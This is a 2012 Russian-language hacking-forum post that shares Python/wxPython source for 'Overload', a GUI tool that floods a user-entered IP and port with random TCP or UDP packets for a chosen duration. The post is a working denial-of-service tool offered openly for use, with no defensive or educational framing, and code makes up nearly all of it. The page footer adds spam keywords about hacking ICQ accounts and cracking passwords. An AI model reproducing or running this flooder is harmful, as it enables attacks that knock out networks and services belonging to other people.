Старый 23.03.2012, 10:02   #1
O'NeiLL
RAM 256MB
 
Аватар для O'NeiLL
 
Регистрация: 04.11.2010
Сообщений: 968
O'NeiLL за этого человека можно гордитсяO'NeiLL за этого человека можно гордитсяO'NeiLL за этого человека можно гордитсяO'NeiLL за этого человека можно гордитсяO'NeiLL за этого человека можно гордитсяO'NeiLL за этого человека можно гордитсяO'NeiLL за этого человека можно гордитсяO'NeiLL за этого человека можно гордитсяO'NeiLL за этого человека можно гордитсяO'NeiLL за этого человека можно гордится
O'NeiLL вне форума

По умолчанию [Python] TCP/UDP Flooder


Чтобы вся система заработала потребуется Python 2.6 и wxPython

Код:
import random
from time import clock,sleep
import wx
import socket

class road(wx.Frame):
    def __init__(self, parent, id):
        wx.Frame.__init__(self, parent, id, 'Overload Version 1.0', size=(435,295))
        panel = wx.Panel(self)

        image_file = 'road.bmp'
        bmp = wx.Bitmap(image_file)
        self.bitmap = wx.StaticBitmap(self, wx.ID_ANY, bmp, (0, 0))

        panel2 = wx.Panel(self, size=(158,200), pos=(225,85))
        panel2.SetBackgroundColour("#D8BFD8")

        self.ipctrl = wx.TextCtrl(panel2, -1, '192.168.1.1', size=(132,-1), pos=(14,25))
        
        wx.StaticBox(panel2, -1, 'Settings', pos=(5, 5), size=(148,150))

        self.rb = wx.RadioButton(panel2, -1, 'TCP', (14,55), style=wx.RB_GROUP)
        self.rb2 = wx.RadioButton(panel2, -1, 'UDP', (92,55))

        wx.StaticText(panel2, -1, 'Time',(18,100))
        self.durctrl = wx.TextCtrl(panel2, -1, '30', size=(50,-1), pos=(14,120))

        wx.StaticText(panel2, -1, 'Port',(98,100))
        self.ptctrl = wx.TextCtrl(panel2, -1, '80', size=(50,-1), pos=(95,120))

        startbutton = wx.Button(panel2, -1, 'Start', size=(148,-1), pos=(5,160))
        self.Bind(wx.EVT_BUTTON, self.start, id=-1)

    def start(self, event):
        if self.rb.GetValue()==1:
            wx.MessageBox("[spoiler][/spoiler]\nThat's how you double spoiler in myBB.",'Starting...')
            self.onTCP()
        else:
            wx.MessageBox("The flooder is now starting.",'Starting...')
            self.onUDP()

    def onTCP(self):
        num_bytes = 200
        port = int(self.ptctrl.GetValue())
        ip = self.ipctrl.GetValue()
        dur = int(self.durctrl.GetValue())
        duration=clock()+dur

        global socket
        
        socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

        bytes=random._urandom(num_bytes)
        addr=(ip,port)
        socket.connect(addr)
        socket.settimeout(None)

        while True:
            if clock()<duration:
                socket.sendto(bytes,(ip,port))
            else:
                break
        wx.MessageBox("The flood is complete.",'Finished...')

    def onUDP(self):
        port = int(self.ptctrl.GetValue())
        ip = self.ipctrl.GetValue()
        dur = int(self.durctrl.GetValue())
        duration=clock()+dur
        sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        bytes=random._urandom(1024)

        while True:
            if clock()<duration:
                sock.sendto(bytes,(ip,port))                
            else:
                break
        wx.MessageBox("The flood is complete.",'Finished...')

if __name__ == '__main__':
    app=wx.PySimpleApp()
    frame = road(parent=None, id=-1)
    frame.Show()
    app.MainLoop()
__________________
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
  Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.



взломать аську аську взломать взлом программы сделать взлом программы как сделать взлом программы хакерские сайты как легко взломать аську лучшие хакерские сайты топ список хакерские сайты взлом паролей легкий взлом паролей

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd. Перевод: zCarot